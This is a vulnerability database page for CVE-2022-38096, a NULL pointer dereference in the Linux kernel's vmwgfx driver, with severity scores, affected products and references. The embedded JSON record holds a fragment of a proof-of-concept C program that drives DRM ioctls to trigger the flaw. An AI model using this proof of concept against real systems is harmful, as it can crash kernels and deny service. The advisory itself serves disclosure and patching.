CVE-2022-38096 (GCVE-0-2022-38096)

Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2026-05-12 10:12
VLAI
Title
There is a NULL pointer vulnerability in vmwgfx driver
Summary
A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
SSVC
Exploitation: poc Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
  • CWE-476 - NULL Pointer Dereference
Assigner
References
Impacted products
Vendor Product Version
Linux kernel Affected: v4.20-rc1 , < 5.13.0-52* (custom)
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linux linux_kernel Affected: v4.20-rc1 , < 5.14 (custom)
    cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*
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Siemens SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Affected: 0 , < * (custom)
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Date Public
2022-09-06 00:00
Credits
Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab
Show details on NVD website
To clipboard 

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 \\n\\targ.context_handle=sid;\\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\\n                {\\n                        printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n                        return -1;\\n                }\\n\\n}\\nint alloc_context(){\\n\\nint arg[0x10]={0};\\narg[0]=0;\\narg[1]=0x100;\\n\\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\\n                {\\n                        printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n                        return -1;\\n                }\\n   return arg[0];         \\n}\\n\\nint alloc_bo(){\\n\\nint arg[0x10]={0};\\narg[0]=0x10000;\\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\\n                {\\n                        printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n                        return -1;\\n                }\\n   return arg[2];         \\n}\\n\\nint create_surface(){\\nint buf[0x100]={0};\\nbuf[0]=64;\\nbuf[1]=64;\\nbuf[2]=64;\\n\\nstruct drm_vmw_surface_create_req arg={0};\\narg.flags=0;\\narg.format=2;\\narg.mip_levels[0]=1;\\narg.size_addr=buf;\\narg.shareable=0;\\narg.scanout=0x10;\\n\\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\\n                {\\n                        printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n                        return -1;\\n                }\\nreturn arg.flags;\\n}\\nint main(int ac, char **argv)\\n{\\ninit();\\nint cid=alloc_context();  \\n  printf(\\\"%d\\\",cid);     \\n    poc(cid);            \\n  \\n}\"}], \"datePublic\": \"2022-09-06T00:00:00.000Z\", \"references\": [{\"url\": \"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073\"}, {\"url\": \"https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html\", \"name\": \"[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update\", \"tags\": [\"mailing-list\"]}], \"x_generator\": {\"engine\": \"Vulnogram 0.0.9\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-476\", \"description\": \"CWE-476 NULL Pointer Dereference\"}]}], \"providerMetadata\": {\"orgId\": \"cb8f1db9-b4b1-487b-a760-f65c4f368d8e\", \"shortName\": \"Anolis\", \"dateUpdated\": \"2024-06-25T21:08:05.642Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2022-38096\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-12T10:12:29.908Z\", \"dateReserved\": \"2022-09-07T00:00:00.000Z\", \"assignerOrgId\": \"cb8f1db9-b4b1-487b-a760-f65c4f368d8e\", \"datePublished\": \"2022-09-09T14:39:51.163Z\", \"assignerShortName\": \"Anolis\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.